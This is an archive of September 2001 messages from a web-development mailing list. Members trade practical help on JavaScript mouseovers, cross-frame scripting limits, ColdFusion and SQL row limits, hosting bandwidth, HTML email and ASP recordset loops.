From Anthony at Baratta.com  Mon Sep 17 00:28:02 2001
From: Anthony at Baratta.com (Anthony Baratta)
Date: Mon Sep 17 00:28:02 2001
Subject: [thelist] Javascript inside of Javascript... :)
In-Reply-To: <000c01c13f33$5e05b980$8f03cc3d@chris>
References: <000801c13ee4$5948e6a0$1631a8c0@hot7>
 <3BA563F6.440DD30D@phreaker.net>
Message-ID: <5.1.0.14.2.20010916221812.02dd9ea8@baratta.com>

>
>Here is a sample of the javascript code:
>
>document.writeln("<TR><TD bgcolor=EEEEFF><A
>HREF='"+global_article[counter].url+"' >");
>       document.writeln('<FONT SIZE='+headline_font_size+'
>FACE="'+headline_font+'" COLOR="#'+headline_fgcolor+'"');
>
>document.writeln('>'+global_article[counter].headline_text+'...</FONT></A><b
>r>');
>
>and the mouseover thing I want to include in there is:
>
>onMouseover="onColor(this);" onMouseout="offColor(this);"

Moreover.com, eh? ;-)

Just sneak it in like this:

document.writeln("<TR><TD bgcolor=EEEEFF><A 
HREF='"+global_article[counter].url+"' ");

document.writeln('onMouseover="onColor(this);" 
onMouseout="offColor(this);"'+'>');

document.writeln('<FONT SIZE='+headline_font_size+'FACE="'+headline_font+'" 
COLOR="#'+headline_fgcolor+'"');



---
Anthony Baratta
President
Keyboard Jockeys

"Conformity is the refuge of the unimaginative."




From tonyc at boldfish.co.uk  Mon Sep 17 01:39:17 2001
From: tonyc at boldfish.co.uk (Tony Crockford)
Date: Mon Sep 17 01:39:17 2001
Subject: [thelist] Afghanistan from another perspective
In-Reply-To: <007301c13f17$13d4dec0$79685c41@ron>
Message-ID: <LPBBLLOGKNBIKOOOOAJAIEDMFMAA.tonyc@boldfish.co.uk>

Thousands mourn anti-Taleban leader

<wrap>
http://news.bbc.co.uk/hi/english/world/south_asia/newsid_1546000/1546941
.stm
</wrap>

Significance of timing, method and perpetrators of his murder?

<tip Author=Tony Crockford subject CSS-P >

IE5.5+ has severe difficulties with images in div's with colored
backgrounds and z-index set when the position is "relative", images
within the div are rendered below the color, thus invisible.  any other
position attribute resolves the issue.

</tip>




From steve.cook at evitbe.com  Mon Sep 17 02:12:53 2001
From: steve.cook at evitbe.com (Steve Cook)
Date: Mon Sep 17 02:12:53 2001
Subject: [thelist] OT: TheList and politics
Message-ID: <3B55A5A1F233D41183A800D0B74D4D5213AB52@SBS>

I appreciate how large an issue the events in the US are, but I subscribed
to a web development list. If I want news, opinions and politics, I'll
subscribe to a news, opinions and politics list.

If you really want to discuss such issues with members of TheList, can I
suggest that The Chat is a better place.

<tip type="Linux from Windows & vice versa">
If you work with a mixed Windows and Linux combination, you may want to take
a look at a products called VNC. This allows you graphical access between
Windows and X machines. 
http://www.uk.research.att.com/vnc

I use it to access my work Windows 2000 machine from my home RedHat Linux
machine. I can access my email and calender in Outlook, run log queries
before I get to work on Monday morning and access Office documents without
even needing to convert them to work in one of the Linux office-type tools.
</tip>


------------------------------------------
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web strategist
Evitbe AB
031-15 16 17   031-890 365   0703-13 26 31
steve.cook at evitbe.com       www.evitbe.com
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From tonyc at boldfish.co.uk  Mon Sep 17 02:23:11 2001
From: tonyc at boldfish.co.uk (Tony Crockford)
Date: Mon Sep 17 02:23:11 2001
Subject: [thelist] OT: TheList and politics
In-Reply-To: <3B55A5A1F233D41183A800D0B74D4D5213AB52@SBS>
Message-ID: <LPBBLLOGKNBIKOOOOAJAEEDNFMAA.tonyc@boldfish.co.uk>

Noted.

Sometimes life's too short to be strict.



From steve.cook at evitbe.com  Mon Sep 17 02:24:40 2001
From: steve.cook at evitbe.com (Steve Cook)
Date: Mon Sep 17 02:24:40 2001
Subject: [thelist] Javascript between sites
Message-ID: <3B55A5A1F233D41183A800D0B74D4D5213AB53@SBS>

Hi folks!

I've been working on a problem in Javascript. I am trying to build a little
frameset that allows me to submit a form in one frame from a button in the
other frame. This shouldn't be too hard, using something like:

<a
href="javascript:window.parent.bottom.document.forms[2].submit()">Submit</a>

Where bottom is the name of the other frame and the form is the 3rd form on
the page (it is unnamed).

I'm wondering if the problem is because the lower frame is on another domain
to the top frame? Is that a security issue that the browser has closed off?

Any other possible causes would be appreciated.

.steve

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From lisafrost at canthai.com  Mon Sep 17 05:10:49 2001
From: lisafrost at canthai.com (Lisa Frost)
Date: Mon Sep 17 05:10:49 2001
Subject: [thelist] digest
Message-ID: <15363D139354574BA6A582A38E19A9AF129794@win2ksrv.canthainet.com>

Does anyone else on the digest find that sometimes whole digests are
missing and that you have missed a whole thread or is it just me?



From matthew at Natuzzi.com  Mon Sep 17 05:21:11 2001
From: matthew at Natuzzi.com (Watkins Matthew)
Date: Mon Sep 17 05:21:11 2001
Subject: [thelist] Forrester briefs
Message-ID: <A7DB784F653FD311BBFB00500435FA9C026BC532@mail>


Hello Everyone,

Forrester has made available three briefs regarding this tragedy (you have
to become a guest first - this is free).

 - First Steps After Tragedy
 - Business Continuity Plans: Now More Than Ever
 - Making The Net Work For You During The Crisis

Matthew 



From peter at vardus.com  Mon Sep 17 05:53:26 2001
From: peter at vardus.com (Peter)
Date: Mon Sep 17 05:53:26 2001
Subject: [thelist] Dynamic sites and search engines
In-Reply-To: <NEBBKJHBCLFCFFMCEMFIMEPDCGAA.bill@webmarketingworx.com>
References: <20010914143442.3588.qmail@web14914.mail.yahoo.com>
Message-ID: <5.1.0.14.0.20010917113429.03070b20@mail.vardus.net>

>The info I'm looking for also, is how to actually build the architecture of
>a dynamic site properly from the get-go to make it search engine friendly.
>Making the URLs friendly is good, but I want a good backbone behind it all
>as well. I'm feeling this sudden need to do things right, I guess.

In that case, there are a few things to consider:
- URL's (you've got those)
- what content do you want searchable. You probably don't want all your 
content indexed in the SE's. Decide for which keywords and what content you 
want to be in the SE's, and then focus on that content.
- once you have that content, you can decide to make pages that are very 
indexable (i.e. having specific words in the title, <h1> tags and the body 
text helps. Architecture wise, you probably want a way to generate 
different page titles for each page (very important). If you want to be 
clever and have lots of articles for example, you can write a function that 
filters out strange, unusual words from the article that get repeated at 
least twice (so you need a long list of common words to exlude, include any 
word that starts with a capital and doesn't start a sentence) and make 
those into keywords, i.e. make sure they are repeated in the meta tags and 
the title and <h1> tags of the page. Like this you can build a long list of 
pages that are optimized for non-common words. (competing on common words 
is very hard, non common words is easy!)
Another issue: make sure these pages can be found at the top of your site 
hierarchy: level 2 or 3.
Peter




From phil at xlab.co.uk  Mon Sep 17 05:59:30 2001
From: phil at xlab.co.uk (phil)
Date: Mon Sep 17 05:59:30 2001
Subject: [thelist] Database documentation
Message-ID: <B7CB94E9.56E0%phil@xlab.co.uk>

>> What program did you use to generate that diagram image?
>> 
> the model was done in ERwin
> 
> i had to cut & paste a whole bunch of screenshots to arrive at the final
> result
> 

just my two penneth worth - I find that a print out of your database using
the 'relationships' window in MS Access is a very handy tool. Not just for
yourself to keep a track of table names, fields and relationships but also
for your client to understand a bit more about the backend and it's
structure. 

It's not as descriptive as rudy's screenshot (it doesn't provide column type
information) but it's a good start.

Of course you need to have a database in Access to use this, but if it were
a mysql database you could use some mysql-odbc drivers to port the database
over.

just a thought.

phil




From mwarden at mattwarden.com  Mon Sep 17 06:08:52 2001
From: mwarden at mattwarden.com (Warden, Matt)
Date: Mon Sep 17 06:08:52 2001
Subject: [thelist] Database documentation
In-Reply-To: <B7CB94E9.56E0%phil@xlab.co.uk>
Message-ID: <Pine.LNX.4.20.0109170703100.23035-100000@scooter.webservepro.com>

On Sep 17, phil had something to say about Re: [thelist] Database documentation

>[Access's relationships view is] not as descriptive as rudy's screenshot
>(it doesn't provide column type information)

It will if you tell it to by checking the "column types" checkbox in the
table properties. It just hides those by default.


HTH,


--
mattwarden
mattwarden.com




From peter at vardus.com  Mon Sep 17 06:29:38 2001
From: peter at vardus.com (Peter)
Date: Mon Sep 17 06:29:38 2001
Subject: [thelist] html email stats
In-Reply-To: <OE166MMDBfTPQWKtUwV0000294e@hotmail.com>
Message-ID: <5.1.0.14.0.20010917121452.03062570@mail.vardus.net>


Hi,
where can I find statistics on who can receive HTML emails anywhere? And 
what does it depend on?
thanks!
Peter




From gassinaumasis at hotmail.com  Mon Sep 17 06:39:08 2001
From: gassinaumasis at hotmail.com (Peter-Paul Koch)
Date: Mon Sep 17 06:39:08 2001
Subject: [thelist] Javascript between sites
Message-ID: <LAW2-F130oryKFRJrzd00005e36@hotmail.com>

>I've been working on a problem in Javascript. I am trying to build a little
>frameset that allows me to submit a form in one frame from a button in the
>other frame. This shouldn't be too hard, using something like:
>
><a
>href="javascript:window.parent.bottom.document.forms[2].submit()">Submit</a>
>
>Where bottom is the name of the other frame and the form is the 3rd form on
>the page (it is unnamed).
>
>I'm wondering if the problem is because the lower frame is on another 
>domain
>to the top frame? Is that a security issue that the browser has closed off?

Yep. If a page comes from another server you may not access its JavaScript 
methods and properties. This is for security reasons.

ppk

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From bimal.shah at venus.co.uk  Mon Sep 17 06:41:34 2001
From: bimal.shah at venus.co.uk (Bimal Shah)
Date: Mon Sep 17 06:41:34 2001
Subject: [thelist] Coldfusion/SQL:queries:maxrows
In-Reply-To: <5.1.0.14.0.20010917121452.03062570@mail.vardus.net>
Message-ID: <ELEAJPEALCJLAJNCJFLCKEEHCIAA.bimal.shah@venus.co.uk>

Hi,

Is there any advantage to using SQL to return
a set number of results compared to using the
maxrows parameter of a cf query?

I am trying to query a table, only wishing to
return the first match e.g

<cfquery name="getLastDate" maxrows="1"...
SELECT
	thedate
FROM
	testTable
WHERE
	thedate<#today#
ORDER BY
	thedate DESC

How would one do the above in pure SQL (without
using maxrows?

Bimal



From peter at vardus.com  Mon Sep 17 06:44:53 2001
From: peter at vardus.com (Peter)
Date: Mon Sep 17 06:44:53 2001
Subject: [thelist] bandwidth
In-Reply-To: <001801c25ba0$4660a8f0$0300000a@pentium>
References: <01c13d8e$5306f5e0$5349149a@rudy>
Message-ID: <5.1.0.14.0.20010917122840.03004ec0@mail.vardus.net>


Hi,
I'm trying to decide between two providers: first one (I don't want to take 
them because the instill less trust in me, http://uk2.net ) offers 20gig a 
month bandwidth, the other one 3 gig (http://www.dsvr.co.uk came 
recommended). Am I right to calculate that 3 gig (at 40 k per page) is only 
about 70.000 pages a month?
Peter




From cf at boldacious.com  Mon Sep 17 07:12:52 2001
From: cf at boldacious.com (Seamus Campbell)
Date: Mon Sep 17 07:12:52 2001
Subject: [thelist] Coldfusion/SQL:queries:maxrows
In-Reply-To: <ELEAJPEALCJLAJNCJFLCKEEHCIAA.bimal.shah@venus.co.uk>
References: <5.1.0.14.0.20010917121452.03062570@mail.vardus.net>
Message-ID: <4.2.2.20010917220318.00b26f00@pop.webone.com.au>

<cfquery name="test" datasource="#request.DSN#">

SELECT TOP 1 (productID), ProductDesc

FROM    tblproduct

</cfquery>


Above is sql - this is quicker I believe
I think it is because the sql only searches the top 1 row
while CF searches the whole database then returns 1 row (I think)

Seamus





From bimal.shah at venus.co.uk  Mon Sep 17 07:18:03 2001
From: bimal.shah at venus.co.uk (Bimal Shah)
Date: Mon Sep 17 07:18:03 2001
Subject: [thelist] Coldfusion/SQL:queries:maxrows
In-Reply-To: <4.2.2.20010917220318.00b26f00@pop.webone.com.au>
Message-ID: <ELEAJPEALCJLAJNCJFLCIEEICIAA.bimal.shah@venus.co.uk>

I'm getting an error - is "TOP" supported in MySQL?

Bimal

-----Original Message-----
From: thelist-admin at lists.evolt.org
[mailto:thelist-admin at lists.evolt.org]On Behalf Of Seamus Campbell
Sent: 17 September 2001 13:09
To: thelist at lists.evolt.org
Subject: Re: [thelist] Coldfusion/SQL:queries:maxrows


<cfquery name="test" datasource="#request.DSN#">

SELECT TOP 1 (productID), ProductDesc

FROM    tblproduct

</cfquery>


Above is sql - this is quicker I believe
I think it is because the sql only searches the top 1 row
while CF searches the whole database then returns 1 row (I think)

Seamus



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From jedimaster at macromedia.com  Mon Sep 17 07:47:36 2001
From: jedimaster at macromedia.com (Raymond Camden)
Date: Mon Sep 17 07:47:36 2001
Subject: [thelist] Coldfusion/SQL:queries:maxrows
In-Reply-To: <ELEAJPEALCJLAJNCJFLCKEEHCIAA.bimal.shah@venus.co.uk>
Message-ID: <00c201c13f76$bb2f3ad0$6401a8c0@mylittledomain.internal>

You can use TOP, if your DBMS supports it, to return the first X rows.

It works like so...

SELECT TOP 10 	Name, Foo, Goo
FROM			tblBlahBlah
WHERE			Name LIKE '%Newman%' OR Name LIKE '%Aboot%'

I would assume that this would be quicker than using MAXROWS.

=======================================================================
Raymond Camden, Principal Spectra Compliance Engineer for Macromedia

Email    : jedimaster at macromedia.com
Yahoo IM : morpheus

"My ally is the Force, and a powerful ally it is." - Yoda 

> -----Original Message-----
> From: thelist-admin at lists.evolt.org 
> [mailto:thelist-admin at lists.evolt.org] On Behalf Of Bimal Shah
> Sent: Monday, September 17, 2001 7:37 AM
> To: thelist at lists.evolt.org
> Subject: [thelist] Coldfusion/SQL:queries:maxrows
> 
> 
> Hi,
> 
> Is there any advantage to using SQL to return
> a set number of results compared to using the
> maxrows parameter of a cf query?
> 
> I am trying to query a table, only wishing to
> return the first match e.g
> 
> <cfquery name="getLastDate" maxrows="1"...
> SELECT
> 	thedate
> FROM
> 	testTable
> WHERE
> 	thedate<#today#
> ORDER BY
> 	thedate DESC
> 
> How would one do the above in pure SQL (without
> using maxrows?
> 
> Bimal
> 
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> the Tip Harvester and archive of TheList go to: 
http://lists.evolt.org Workers of the Web, evolt ! 




From jedimaster at macromedia.com  Mon Sep 17 07:52:48 2001
From: jedimaster at macromedia.com (Raymond Camden)
Date: Mon Sep 17 07:52:48 2001
Subject: [thelist] Coldfusion/SQL:queries:maxrows
In-Reply-To: <ELEAJPEALCJLAJNCJFLCKEEHCIAA.bimal.shah@venus.co.uk>
Message-ID: <00c301c13f77$7549e640$6401a8c0@mylittledomain.internal>

FYI, speaking of CF queries, are people here using BLOCKFACTOR any? It's
a _very_ easy way to speed up query time, and, unfortunately, is not
documented well at all.

Basically (and anyone feel free to correct me on this), when CF performs
a query, it only fetches one row at a time. So, a query that returns 200
rows will result in 200 fetches. CF can be told to get more at a time by
using BLOCKFACTOR. BLOCKFACTOR is a number between 1 and 100. The
default is 1.

Ok, so here is where things get interesting. Why don't you just set
blockfactor to 100? Because CF, by default, can only get 32k of data at
one time. So, if 100 rows > 32k, CF has to 'back down' a bit in order to
fetch the right amount of data. What someone told me, was to simply take
the average row size and determine how many would fit into 32k.

On a few, VERY unscientific tests, I've seen _dramatic_ speed increases,
although it's not something you can always apply.

=======================================================================
Raymond Camden, Principal Spectra Compliance Engineer for Macromedia

Email    : jedimaster at macromedia.com
Yahoo IM : morpheus

"My ally is the Force, and a powerful ally it is." - Yoda 

> -----Original Message-----
> From: thelist-admin at lists.evolt.org 
> [mailto:thelist-admin at lists.evolt.org] On Behalf Of Bimal Shah
> Sent: Monday, September 17, 2001 7:37 AM
> To: thelist at lists.evolt.org
> Subject: [thelist] Coldfusion/SQL:queries:maxrows
> 
> 
> Hi,
> 
> Is there any advantage to using SQL to return
> a set number of results compared to using the
> maxrows parameter of a cf query?
> 
> I am trying to query a table, only wishing to
> return the first match e.g
> 
> <cfquery name="getLastDate" maxrows="1"...
> SELECT
> 	thedate
> FROM
> 	testTable
> WHERE
> 	thedate<#today#
> ORDER BY
> 	thedate DESC
> 




From norman.bunn at craftedsolutions.com  Mon Sep 17 08:04:58 2001
From: norman.bunn at craftedsolutions.com (Norman Bunn)
Date: Mon Sep 17 08:04:58 2001
Subject: [thelist] Comstock offering free US flag pics
Message-ID: <015c01c13f78$0dec4d20$0201a8c0@com>

For those of you looking for US flag pics...

Norman

> If you need images of the US flag for your website or print
> pieces, you can go to the following URL to download them
> at no charge.
> 
> http://www.comstock.com/Go/USFlags/
> 





From ckanderson at powersurfr.com  Mon Sep 17 08:10:22 2001
From: ckanderson at powersurfr.com (Christian Anderson)
Date: Mon Sep 17 08:10:22 2001
Subject: [thelist] Javascript inside of Javascript... :)
References: <000801c13ee4$5948e6a0$1631a8c0@hot7> <3BA563F6.440DD30D@phreaker.net> <5.1.0.14.2.20010916221812.02dd9ea8@baratta.com>
Message-ID: <001a01c13f79$953a4060$ce03cc3d@chris>

Yeah, moreover.com :)

That mousover thing has to go in the <td> tag.  I guess I should have
mentioned that... so when I try it as <TD bgcolor=EEEEFF
onMouseover="onColor(this);" onMouseout="offColor(this);"> it doesnt work.

Why why why?? :)

www.photokyo.com


> >Here is a sample of the javascript code:
> >
> >document.writeln("<TR><TD bgcolor=EEEEFF><A
> >HREF='"+global_article[counter].url+"' >");
> >       document.writeln('<FONT SIZE='+headline_font_size+'
> >FACE="'+headline_font+'" COLOR="#'+headline_fgcolor+'"');
> >
>
>document.writeln('>'+global_article[counter].headline_text+'...</FONT></A><
b
> >r>');
> >
> >and the mouseover thing I want to include in there is:
> >
> >onMouseover="onColor(this);" onMouseout="offColor(this);"
>
> Moreover.com, eh? ;-)
>
> Just sneak it in like this:
>
> document.writeln("<TR><TD bgcolor=EEEEFF><A
> HREF='"+global_article[counter].url+"' ");
>
> document.writeln('onMouseover="onColor(this);"
> onMouseout="offColor(this);"'+'>');
>
> document.writeln('<FONT
SIZE='+headline_font_size+'FACE="'+headline_font+'"
> COLOR="#'+headline_fgcolor+'"');





From tonyc at boldfish.co.uk  Mon Sep 17 08:17:39 2001
From: tonyc at boldfish.co.uk (Tony Crockford)
Date: Mon Sep 17 08:17:39 2001
Subject: [thelist] bandwidth
In-Reply-To: <5.1.0.14.0.20010917122840.03004ec0@mail.vardus.net>
Message-ID: <LPBBLLOGKNBIKOOOOAJAEEEGFMAA.tonyc@boldfish.co.uk>

> Hi,
> I'm trying to decide between two providers: first one (I
> don't want to take
> them because the instill less trust in me, http://uk2.net )
> offers 20gig a
> month bandwidth, the other one 3 gig (http://www.dsvr.co.uk came
> recommended). Am I right to calculate that 3 gig (at 40 k per
> page) is only
> about 70.000 pages a month?

Thereabouts, but note also that some hosts include FTP and email traffic
when calculating your consumption.

FWIW I hear good things about DSVR.

Have you looked at:

http://www.bigbytes.co.uk/

details loads of hosts in the UK, can sort by BW etc.

HTH

Tony




From bruce at heerssen.com  Mon Sep 17 08:19:41 2001
From: bruce at heerssen.com (Bruce Heerssen)
Date: Mon Sep 17 08:19:41 2001
Subject: [thelist] Javascript inside of Javascript... :)
References: <000801c13ee4$5948e6a0$1631a8c0@hot7> <3BA563F6.440DD30D@phreaker.net> <5.1.0.14.2.20010916221812.02dd9ea8@baratta.com> <001a01c13f79$953a4060$ce03cc3d@chris>
Message-ID: <3BA5E7C9.1020109@heerssen.com>

Christian Anderson wrote:

>Yeah, moreover.com :)
>
>That mousover thing has to go in the <td> tag.  I guess I should have
>mentioned that... so when I try it as <TD bgcolor=EEEEFF
>onMouseover="onColor(this);" onMouseout="offColor(this);"> it doesnt work.
>
>Why why why?? :)
>
>www.photokyo.com
>
This came up the other day. I think the problem is going to be the 
bgcolor attribute in the <td> tag. Ditch the bgcolor attribute and use 
CSS instead, then you should be able to change it with javascript.

hth

-Bruce




From bruce at heerssen.com  Mon Sep 17 08:29:16 2001
From: bruce at heerssen.com (Bruce Heerssen)
Date: Mon Sep 17 08:29:16 2001
Subject: [thelist] html email stats
References: <5.1.0.14.0.20010917121452.03062570@mail.vardus.net>
Message-ID: <3BA5EA09.6010706@heerssen.com>

Peter wrote:

>
>
> Hi,
> where can I find statistics on who can receive HTML emails anywhere? 
> And what does it depend on?
> thanks!
> Peter
>
Well, I don't know - sorry ;)

But I thought I should mention this:

While most modern email clients support html embedded email, they do so 
in a very non-standard fashion. To complicate matters, they all fail in 
different ways. Javascript is very iffy and forms may not work in 
exactly the manner you think they should. IOW, be very careful with HTML 
email and if you must use it, stay far away from even the simplest 
whiz-bang features such as mouseovers and CSS.

May I suggest a well written text email with links?

HTH,
Bruce







From jhaworth at witanjardine.co.uk  Mon Sep 17 09:35:54 2001
From: jhaworth at witanjardine.co.uk (Jon Haworth)
Date: Mon Sep 17 09:35:54 2001
Subject: [thelist] Coldfusion/SQL:queries:maxrows
Message-ID: <67DF9B67CEFAD4119E4200D0B720FA3F70FD6C@BOOTROS>

Try 

SELECT ProductID, ProductDesc FROM tblProduct LIMIT 1

HTH
Jon


-----Original Message-----
From: Bimal Shah [mailto:bimal.shah at venus.co.uk]
Sent: 17 September 2001 13:14
To: thelist at lists.evolt.org
Subject: RE: [thelist] Coldfusion/SQL:queries:maxrows


I'm getting an error - is "TOP" supported in MySQL?

Bimal

-----Original Message-----
From: thelist-admin at lists.evolt.org
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Subject: Re: [thelist] Coldfusion/SQL:queries:maxrows


<cfquery name="test" datasource="#request.DSN#">

SELECT TOP 1 (productID), ProductDesc

FROM    tblproduct

</cfquery>


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From peter at vardus.com  Mon Sep 17 09:35:55 2001
From: peter at vardus.com (Peter)
Date: Mon Sep 17 09:35:55 2001
Subject: [thelist] bandwidth
In-Reply-To: <5.1.0.14.0.20010917122840.03004ec0@mail.vardus.net>
References: <001801c25ba0$4660a8f0$0300000a@pentium>
 <01c13d8e$5306f5e0$5349149a@rudy>
Message-ID: <5.1.0.14.0.20010917130014.03006a60@mail.vardus.net>

Also, any recommendations for hosts?
I need multiple domains, Apache with mod_rewrite (and very preferably 
ability to recompile, but htaccess override is probably enough as well), 
command line access, PHP and mysql (multiple databases), and multiple 
domain names. I'm expecting about 100.000 to 250.000 pageviews a month (I 
have about 70.000 now), pretty light pages mostly (40K-ish each, including 
images)
I am prepared to pay about ?300 a year (the previously mentioned hosts are 
about that), but less is good ofcourse!
Thanks!
Peter





From djc at starkmedia.com  Mon Sep 17 09:42:44 2001
From: djc at starkmedia.com (Daniel J. Cody)
Date: Mon Sep 17 09:42:44 2001
Subject: [thelist] Coldfusion/SQL:queries:maxrows
References: <00c301c13f77$7549e640$6401a8c0@mylittledomain.internal>
Message-ID: <3BA60823.2090707@starkmedia.com>

Ya, the front page of evolt is actually using blockfactor to speed it 
up, and it helps a *ton*. It's too bad it isn't documented better, cus a 
lot of people could probably speed up their queries by using it.

It took a bit of playing around with, but I found that a blockfactor set 
to 75 worked the best for us, but thanks for the 32k reference, another 
hidden gem no doubt :)

.djc.

Raymond Camden wrote:

> FYI, speaking of CF queries, are people here using BLOCKFACTOR any? It's
> a _very_ easy way to speed up query time, and, unfortunately, is not
> documented well at all.
> 
> Basically (and anyone feel free to correct me on this), when CF performs
> a query, it only fetches one row at a time. So, a query that returns 200
> rows will result in 200 fetches. CF can be told to get more at a time by
> using BLOCKFACTOR. BLOCKFACTOR is a number between 1 and 100. The
> default is 1.
> 
> Ok, so here is where things get interesting. Why don't you just set
> blockfactor to 100? Because CF, by default, can only get 32k of data at
> one time. So, if 100 rows > 32k, CF has to 'back down' a bit in order to
> fetch the right amount of data. What someone told me, was to simply take
> the average row size and determine how many would fit into 32k.





From jay.blanchard at thermon.com  Mon Sep 17 09:44:23 2001
From: jay.blanchard at thermon.com (J. Blanchard)
Date: Mon Sep 17 09:44:23 2001
Subject: [thelist] ASP/SQL Question - DONE DEAL!
Message-ID: <3B82ACFE000DD9FD@smtparch.vistocorporation.com> (added by administrator@vistocorporation.com)

And much thanks to all who helped! The final code block came in at ten lines, was way cleaner than attempting a 'data-shaping', and can be used with any recordset where this kind of listing can be useful.

I owe tips out the kazoo for this, as well as thanks to many. Rudy, Matt, Jim, and anyone else who I may not have mentioned...you rock!

Thanks!

Jay Blanchard
Web Development Manager
Thermon Manufacturing Company
1.800.820.HEAT x327


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From robert.sanders at indsys.ge.com  Mon Sep 17 09:44:36 2001
From: robert.sanders at indsys.ge.com (Sanders, Robert (IndSys, Pwr. Equip., IM))
Date: Mon Sep 17 09:44:36 2001
Subject: [thelist] Database/ASP Samples PLease
Message-ID: <CFE634E428BDD111A01400A0C9AB2E1E0315C9B7@FTENYGPS2EDCGE3.38.104.26>

I would very much welcome the opportunity to review some ASP used to connect
to a database. I've been working towards this same end but to no avail. If
avyone has some code that they wouldnt mind sharing I would appreciate if
they'd forward it to me so I could attempt to figure out what I'm doing
wrong. I really just want to create a "My Reports" web page for our business
reports but need an ASP for the end users to subscribe to reports initially
and then revisit that same page and be able to unsubscribe or subsribe to
additional reports. That is, the p[age must display (via check boxes) what
reports a user has already subscribed to.

Thanks for the much needed help.



From richard.bennett at skynet.be  Mon Sep 17 09:45:19 2001
From: richard.bennett at skynet.be (Richard Bennett)
Date: Mon Sep 17 09:45:19 2001
Subject: [thelist] Site not available? - Resolved
References: <006301c13eff$5e8cc170$0300a8c0@glenn> <018a01c13f50$44b990b0$0100a8c0@wwwv7zwbf035xj> <3BA5367F.D2EB6F0E@webtuitive.com>
Message-ID: <021501c13fd1$91119d50$0100a8c0@wwwv7zwbf035xj>

Hi,
Thanks everyone for taking the time to help on this.
What finally resolved the problem, was setting the proxy server in IE.
It seems this bypasses the local DNS settings, so at least IE works as it
should now.

Richard.



----- Original Message -----
From: "Hassan Schroeder" <hassan at webtuitive.com>
To: <thelist at lists.evolt.org>
Sent: Sunday, September 16, 2001 4:32 PM
Subject: Re: [thelist] Site not available? - Update


> Richard Bennett wrote:
>
> > Well it's set, but I don't know if the DNS server IP's are correct, I
tried
> > quite a few different ones advised on the net.
>
> "advised on the net"?? You should have name server IPs provided by
> your own ISP.
>
> > >You also might have extra default routes.
> > > On Windows 2000, multiple default routes can really be messy - not
> > > recommended.
> > ?? you mean not to use prefered and alternate? In Win2000 I could only
enter
> > 2 DNS IPs, unlike in winME/98 where I could enter many.
>
> 1) "default route" is also referred to as "default gateway", has
>    nothing to do with DNS, and yeah, you should probably only have
>    one.
>
> 2) Under Win2K the initial TCP/IP properties panel shows two DNS entry
>    spaces, but clicking the "Advanced" button gives you the option to
>    enter as many as you like.
>
> HTH!
> --
> H*
> Hassan Schroeder ----------------------------- hassan at webtuitive.com
> Webtuitive Design ===  (+1) 408-938-0567   === http://webtuitive.com
>
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From steve.cook at evitbe.com  Mon Sep 17 09:53:30 2001
From: steve.cook at evitbe.com (Steve Cook)
Date: Mon Sep 17 09:53:30 2001
Subject: [thelist] ASP/SQL Question - DONE DEAL!
Message-ID: <3B55A5A1F233D41183A800D0B74D4D5213AB5C@SBS>

Having just gone back and looked through this thread, I'd be interested to
see your final code? Getting the processing of that record set structure
down to 10 lines would be pretty interesting to me (Even though I'd have
taken the devil's path and used Data Shaping ;-).


------------------------------------------
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031-15 16 17   031-890 365   0703-13 26 31
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> -----Original Message-----
> From: J. Blanchard [mailto:jay.blanchard at thermon.com]
> Sent: den 17 september 2001 16:11
> To: thelist at lists.evolt.org
> Subject: Re: [thelist] ASP/SQL Question - DONE DEAL!
> 
> 
> And much thanks to all who helped! The final code block came 
> in at ten lines, was way cleaner than attempting a 
> 'data-shaping', and can be used with any recordset where this 
> kind of listing can be useful.
> 
> I owe tips out the kazoo for this, as well as thanks to many. 
> Rudy, Matt, Jim, and anyone else who I may not have 
> mentioned...you rock!
> 
> Thanks!
> 



From thelist at lists.evolt.org  Mon Sep 17 09:59:48 2001
From: thelist at lists.evolt.org (Tip Harvester)
Date: Mon Sep 17 09:59:48 2001
Subject: [thelist] Tip Harvest for the Week of Monday 2001-Sep-10
Message-ID: <200109171459.f8HExlwm029802@leo.evolt.org>

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From philippe at 123piano.com  Mon Sep 17 10:07:20 2001
From: philippe at 123piano.com (Philippe Jadin)
Date: Mon Sep 17 10:07:20 2001
Subject: [thelist] bandwidth
References: <001801c25ba0$4660a8f0$0300000a@pentium>
	 <01c13d8e$5306f5e0$5349149a@rudy> <5.1.0.14.0.20010917130014.03006a60@mail.vardus.net>
Message-ID: <3BA610D9.CD1D0A6@123piano.com>

Peter wrote:
> 
> Also, any recommendations for hosts?
> I need multiple domains, Apache with mod_rewrite (and very preferably
> ability to recompile, but htaccess override is probably enough as well),
> command line access, PHP and mysql (multiple databases), and multiple
> domain names. I'm expecting about 100.000 to 250.000 pageviews a month (I
> have about 70.000 now), pretty light pages mostly (40K-ish each, including
> images)
> I am prepared to pay about ?300 a year (the previously mentioned hosts are
> about that), but less is good ofcourse!

If ?300 a year is equal to $40 per month (unlimited domains), then I
highly recommend imeme.net : they are specilized in zope hosting, but
they offer apache, php and mysql too. (I didn't tested php yet but well,
it must work:-)

The system is a jailed freebsd, this mean you have a virtual root
account, this also means you can install anything you want on the server
(providing resources usage blabla...), or even recompile your own apache
I guess.

For those $40, you have 5 gb per month of bandwidth, and you pay $10 per
aditional gb per month. If my brain is working, with 5 gb, at 40kb per
page, you would have 125.000 pageviews.

If I remember well you can ask for a trial too.

Usual disclaimer : 1. I'm using it for zope hosting, and I didn't test
the php support so... 2. I'm in no way affiliated with them. 3. If you
want an alernative, try cedant.com, altough you won't have unlimited
domains for that price.

Philippe

(you could probably check server speed for customers by doing it against
my site 123piano.com)



From jay.blanchard at thermon.com  Mon Sep 17 10:08:10 2001
From: jay.blanchard at thermon.com (J. Blanchard)
Date: Mon Sep 17 10:08:10 2001
Subject: [thelist] ASP/SQL DONE DEAL! Follow up, by request...
Message-ID: <3B82ACFE000DE170@smtparch.vistocorporation.com> (added by administrator@vistocorporation.com)

Matt warden created the final code as follows...

<%
DIM pd
pd = ""
While Not product.EOF
	If pd <> (product.Fields.Item("ProductDesc").Value) Then
		pd = (product.Fields.Item("ProductDesc").Value)
		response.write (pd & "<br>")
	End If
	response.write((product.Fields.Item("ProductID").Value) & "<br>")
	product.MoveNext
Wend
%>
 The problem was that I had one too many MoveNext's and my test for equality was in the write spot, but ended in the wrong one.

Line 1. Dim the variable for equality test
Line 2. Set variable default value
Line 3. While the recordset is not at End of File
Line 4. If the variable is NOT = to the product description
Line 5. Set the variable = to product description
Line 6. Write the product description
Line 7. End test
Line 8. Write out the first product id for this product description
